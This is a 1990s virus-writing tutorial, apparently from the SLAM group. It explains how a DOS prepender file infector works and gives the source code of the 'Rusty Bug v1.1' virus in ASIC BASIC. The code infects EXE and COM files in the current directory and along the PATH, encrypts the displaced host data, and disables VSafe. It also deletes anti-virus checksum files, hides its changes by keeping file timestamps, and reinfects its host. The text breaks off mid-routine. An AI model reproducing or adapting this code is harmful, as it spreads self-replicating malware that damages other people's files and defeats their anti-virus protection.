RustBug's (formally known as Casio) Tutorial: ASIC Virus Coding. Version .01 for SLAM Hello. This is my tut on coding viruses with ASIC. For SLAM! Now, before I even start, theres a few things you need to know about coding viruses in ASIC. 1st, coding a virus in ASIC is actually a very time consuming project. You don't have the low-level abilities that you do with ASM, so You will have to write your own routines for certain functions. It is assumed that you have some programming skill already. I will be including example source code for some things. I will not be including (a) the asic compiler (b) libs (yes, You will be using certain libs) or (c) a linker. If you cannot find these things, Email SLAM, and I will have them forwarded to you. Since I'm not providing any libs with this article, I'll provide source code that for the most part doesn't need them. I suppose, your wondering, well what kind of viruses can I write with asic? The answer is prependers (which I will explain how to write) or overwriters (which aren't even worth explaining). Some overview on what a prepender is, and how it works: A prepender is a virus that places itself in the beginning of the file, IE the entire virus overwrites the data already there. What makes this different from an overwriter is, a prepender saves this data elsewhere (Ie: end of the file) before overwriting it. In this way, the file data can be restored and your virus can run the infected file. Now, some prependers use a temporary file to store the hosts original data while it's working, and just write the host at the end. This makes the virus extremely slow. Since it has to read/write Most if not all of the host. The second type of prepender writes just it's body, and the same amount of bytes as the data it replaces. Like so: Original Uninfected program: ----Program Infected Program: Virus+someprogramdata+data_that_was_where_the_virus_now_sits As you can see, a 5k virus (yes, 5k.. Smaller if you don't use any detailed payloads, or code the payload in pure asm instead of asic) will read/write 10k per file it infects. Once you infect a file, How do you pass control to it? to make it work again? Thats a very good question. That works like so: user runs program virus actually loads. Virus reads an image of itself from host. Virus infects some programs. Virus then reads stored data from host (usually at the end, minus virus size) Decrypts it if needbe Puts data in front of host, overwriting virus code (Don't panic) trims off data it put at the end of the host during infection. virus then Spawns or shells to host, passing any command line parameters Once host has returned to the operating system, Dormant virus regains control. and proceeds to reinfect host, and possibly search for newly created files to infect. Virus terminates. One odd thing about this method, since you restore the host to it's original condition, you have a slight Host Stealth ability. Meaning, if the host happens to check it's condition on disk, it won't notice any changes, F-prot self check for example. a quick rundown of infection: Virus determines the executed filename containing it reads an image of itself. (since you can't point to cx:0000 in asic) virus searches for a file to infect (exe or com, both can be infected, yes you can infect coms too, even though your virus will be structurly an exe) virus reads in data from the target file equal to it's size stores this at the end of the target, encrypted beforehand if needbe. virus then copies it's image into the front of the target. virus looks for more files to infect. Asic viruses because you will likely use it's Dim command, will get about 40k after compiling, and unless you feel like manually inserting encrypted text withen them, you will be doing some hex editing after compiling. Once this is all done, Your not quite finished, You need an exe compressor such as pklite (not recommended) lzexe or rjcrush. And once you finally compress your virus, Then you can change the source code to reflect the viruses final size. Since, You cannot guess ahead of time how big your exe will be, when all is said and done. I promised source code, and it's provided below. And, to save you some time I've already compiled it, and provided an exe as well. I will not explain each asic command withen the source code, Asic has excellent online help for that. And, you should be able to locate atleast the compiler without much hassle. I used version 5 for this virus. If there is interest in this method of virus programming, I'll write more articles concerning virus coding with this language. Source code to rustybug v1.1: dim virus_data(5330) dim host_data(5330) call sub "ibcritinit" randomize rem Rusty Bug virus... v1.1 weedmsg$="What a nice computer you have, haha.. Rusty Bug v1.1 Casio 97" killfil1$="anti-vir.dat" killfil2$="chklist.ms" killfil3$="chklist.cps" notouch1$="COMMAND.COM" notouch2$="START.EXE" exe$="*.exe" com$="*.com" rem And now the real fun part, bunch of temp calls to decode our information rem above :) temp$=weedmsg$ gosub decode_mess: weedmsg$=output$ temp$=killfil1$ gosub decode_mess: killfil1$=output$ temp$=killfil2$ gosub decode_mess: killfil2$=output$ temp$=killfil3$ gosub decode_mess: killfil3$=output$ temp$=notouch1$ gosub decode_mess: notouch1$=output$ temp$=notouch2$ gosub decode_mess: notouch2$=output$ temp$=exe$ gosub decode_mess: exe$=output$ temp$=com$ gosub decode_mess: com$=output$ newattr=0 gosub vsafe_toggle: vsafebak=cx gosub toast_them: call sub "exename" hostname$ yourparm$=command$ yourparm$=ltrim$(yourparm$) yourparm$=rtrim$(yourparm$) yourparm$=" "+yourparm$ filename$=hostname$ hostsize&=filelen(filename$) virus_size=5330 virus_size&=5330& gosub get_attr: oldattr=newattr newattr=0 gosub set_attr: gosub open_file: bytesize=virus_size dx=varptr(virus_data(0)) gosub read_file: gosub close_file: newattr=oldattr gosub set_attr: rem Ok, now infect files presently in current directory! subdir=0 proc$=exe$ gosub start_virus: proc$=com$ gosub start_virus: rem Ok, now were going to target files along the path :) for n=0 to 100 call sub "path", n, virupath$ i=LEN(virupath$) if i=0 then done: b$=right$(virupath$,1) if b$<>"\" then virupath$=virupath$+"\" endif out1$=exe$ out2$=com$ subdir=1 proc$=virupath$+out1$ gosub start_virus: proc$=virupath$+out2$ gosub start_virus: next n done: gosub nuke_virus: rem Should we say hello? a=rnd(0) a=a mod 200 a=a+1 if a=37 then rem I like stars! aahaha call sub "Stars_heh" endif if a=17 then rem Let's say hi! print weedmsg$ a=5*18 gosub pause_exec: endif rem Ok, pass control to host... call hostname$, yourparm$ rem trash any checksum files that might have been created since rem the host was run...Current Directory only... newattr=0 gosub vsafe_toggle: subdir=0 gosub toast_them: rem re-infect the host... :-) filename$=hostname$ gosub lets_infect: rem Hmm, lets see if our new host was able to make any files! subdir=0 proc$=exe$ gosub start_virus: proc$=com$ gosub start_virus: gosub toast_them: newattr=vsafebak gosub vsafe_toggle: end rem We have completed replication. all stop! start_virus: gosub toast_them: rem gosub set_dta: errflag=0 error=0 kewl=0 do_not_proceed=0 infected=1 attrib=6 filename$=find first (proc$, attrib) t1$=ucase$(filename$) if t1$=notouch1$ then do_not_proceed=1 endif if t1$=notouch2$ then do_not_proceed=1 endif if do_not_proceed=0 then if subdir=1 then filename$=virupath$+filename$ endif gosub infect_check: endif if infected=0 then gosub lets_infect: kewl=kewl+1 endif kewl=0 errflag=0 while errflag=0 infected=1 do_not_proceed=0 filename$=find continue if error>0 then errflag=1 endif t1$=ucase$(filename$) if t1$=notouch1$ then do_not_proceed=1 endif if t1$=notouch2$ then do_not_proceed=1 endif if do_not_proceed=0 then if subdir=1 then filename$=virupath$+filename$ endif gosub infect_check: endif if infected=0 then gosub lets_infect: kewl=kewl+1 endif if kewl>4 then errflag=1 endif WEND return Lets_infect: hostsize&=filelen(filename$) gosub get_attr: oldattr=newattr newattr=0 gosub set_attr: gosub open_file: gosub get_fdt: bytesize=virus_size dx=varptr(host_data(0)) gosub read_file: move_way&=0& gosub move_file_pointer: bytesize=virus_size dx=varptr(virus_data(0)) gosub write_file: move_way&=hostsize& gosub move_file_pointer: gosub enc_host: dx=varptr(host_data(0)) bytesize=virus_size gosub write_file: gosub set_fdt: gosub close_file: newattr=oldattr gosub set_attr: errcode=0 error=0 rem gosub set_dta: return REM ******* SYSTEM SUB-ROUTINES BELOW THIS LINE. DO NOT TREAD HERE! REM ******* THESE AREAS MUST NOT BE FOOLED WITH! get_attr: AX = &HEX4300 DX = VARPTR(Filename$) INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA) newattr=cx return set_attr: AX = &HEX4301 DX = VARPTR(Filename$) CX = NewAttr INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA) return vsafe_toggle: ax=&hexfa02 dx=&hex5945 bx=newattr int86(&hex16,ax,bx,cx,dx,na,na,na,na,na) return get_fdt: if file_handle>4 then AX=&HEX5700 BX=FILE_HANDLE INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA) NEWDATE=CX NEWTIME=DX endif RETURN set_fdt: if file_handle>4 then AX=&HEX5701 BX=FILE_HANDLE CX=NEWDATE DX=NEWTIME INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA) endif RETURN chklist: temp1$=filename$ filename$=kill_this$ if subdir=1 then filename$=virupath$+filename$ endif newattr=0 gosub set_attr: kill filename$ filename$=temp1$ return rem DOS int file i/o driven code beyond this point :) rem ax=&hex3d00 rem ax opens file for read in this mode :-) rem ax=&hex3d01 rem ax opens file for write in this mode :-) rem ax=&hex3d02 rem ax opens file for read/write access :) hehehe open_file: AX=&HEX3D02 DX = VARPTR(Filename$) INT86(&HEX21,AX,NA,na,DX,NA,NA,NA,NA,NA) file_handle=ax return write_file: rem this routine will write selected bytes at whatever current position rem from whatever buffer i choose into the file. rem if the routine did not write all data ax will not equal cx upon rem return from int call. rem define dx register before calling this routine to point to the rem memory address of the buffer area you want to write from. like so: rem dx=varptr(buffer(0)) rem cx is how many bytes to write :) if file_handle>4 then ax=&hex4000 bx=file_handle cx=bytesize int86(&hex21,ax,bx,cx,dx,na,na,na,na,na) byteswritten=ax endif return read_file: rem as the name implies, it reads bytes into a buffer. :-) rem as with write_file, you need to predefine the dx register for the rem buffer where you want the info stored. Like so: dx=varptr(buffer(0)) rem if you don't, this routine will not work, or will overwrite some rem other section of memory. And for virus coding, this is very bad! :) rem cx register is how many bytes to read :) if file_handle>4 then ax=&hex3f00 bx=file_handle cx=bytesize int86(&hex21,ax,bx,cx,dx,na,na,na,na,na) bytesread=ax endif return close_file: rem This routine will close the selected file. rem do not try to close handle 2, very nasty... :-( if file_handle>4 then ax=&hex3e00 bx=file_handle int86(&hex21,ax,bx,na,na,na,na,na,na,na) endif return move_file_pointer: method=0 call sub "fseek" file_handle, move_way&, method, errcode return enc_host: b=27 d=14 rem Routine to encrypt the host data... We encrypt it before rem appending. Yea, the encryption is lame... But it serves it's rem purpose fine. c=virus_size-1 for x=0 to c if d>255 then d=11 endif if b>255 then b=d d=d+1 endif a=host_data(x) ax=a bx=b gosub xor: a=ax host_data(x)=a b=b+1 next x return dec_host: b=27 d=14 rem Routine to decrypt the host data... We need to decrypt it before rem replacing it and passing control to it. And yes, the decryption rem sequence is lame... But, I don't give a fuck! c=virus_size-1 for x=0 to c if d>255 then d=11 endif if b>255 then b=d d=d+1 endif a=host_data(x) ax=a bx=b gosub xor: a=ax host_data(x)=a b=b+1 next x return infect_check: infected=0 gosub get_attr: newattr=oldattr newattr=0 gosub set_attr: sig$="" open"r",1,filename$ a&=filepos(1,eof) if a&